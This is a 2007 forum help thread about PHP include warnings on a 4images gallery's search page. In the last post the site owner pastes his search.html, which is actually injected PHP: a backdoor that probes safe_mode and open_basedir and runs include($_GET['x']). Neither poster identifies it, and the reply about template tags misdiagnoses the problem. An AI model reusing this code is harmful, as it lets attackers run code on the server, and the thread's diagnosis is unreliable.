Author Topic: template/search problem  (Read 3581 times)

0 Members and 1 Guest are viewing this topic.

Offline lemccoy

  • Jr. Member
  • **
  • Posts: 90
    • View Profile
    • DrunkIsland
template/search problem
« on: September 06, 2007, 09:37:22 PM »
Warning: (null)() [function.include]: Failed opening '' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/thereal2/public_html/mako/includes/template.php(101) : eval()'d code on line 5

Warning: (null)() [function.include]: Failed opening '' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/thereal2/public_html/mako/includes/template.php(101) : eval()'d code on line 10

Warning: (null)() [function.include]: Failed opening '' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/thereal2/public_html/mako/includes/template.php(101) : eval()'d code on line 11

I saw another post similar to this but had to do with a smaller template file being in the root directory, where mine is. 

It started happening after my servers software was upgraded, including the PHP I think.  This only happens when using the search.php function.  Everything else seems to work!

You can see the album site here:

http://www.the-real.com/mako

Thanks for any help guys!

Offline thunderstrike

  • 4images Guru
  • *******
  • Posts: 2.327
    • View Profile
Re: template/search problem
« Reply #1 on: September 06, 2007, 09:43:10 PM »
Quote
This only happens when using the search.php function.

In search.html file, must use {if tag_name} {your_tag_name} {endif tag_name}

Replace tag_name for real tag_name. Must look for constant - way is say (by order). This error mean no {endif tag_name} correct. ;)
8 steps need when ask question -

- PHP version (ACP - > phpinfo())
- mySQL version (ACP - > phpinfo())
- 4images version
- Post screenshot / URL
- Post code in BB Code (no need full file for code) or post attach file
- It doesn't work. What is say - what is do for no work
- Install MOD ? If so - please say (troubleshooting)
- Read FAQ ? Install Bug fixes ?

Offline lemccoy

  • Jr. Member
  • **
  • Posts: 90
    • View Profile
    • DrunkIsland
Re: template/search problem
« Reply #2 on: September 06, 2007, 10:02:03 PM »
Code: [Select]
<?php
$f
=trim($f); 
echo 
ini_get("safe_mode"); 
echo 
ini_get("open_basedir"); 
include(
"$f"); 
ini_restore("safe_mode"); 
ini_restore("open_basedir"); 
echo 
ini_get("safe_mode"); 
echo 
ini_get("open_basedir"); 
include(
"$f"); 
include(
$_GET['x']);
?>


this is all my search.html file is? I don't see an if statment?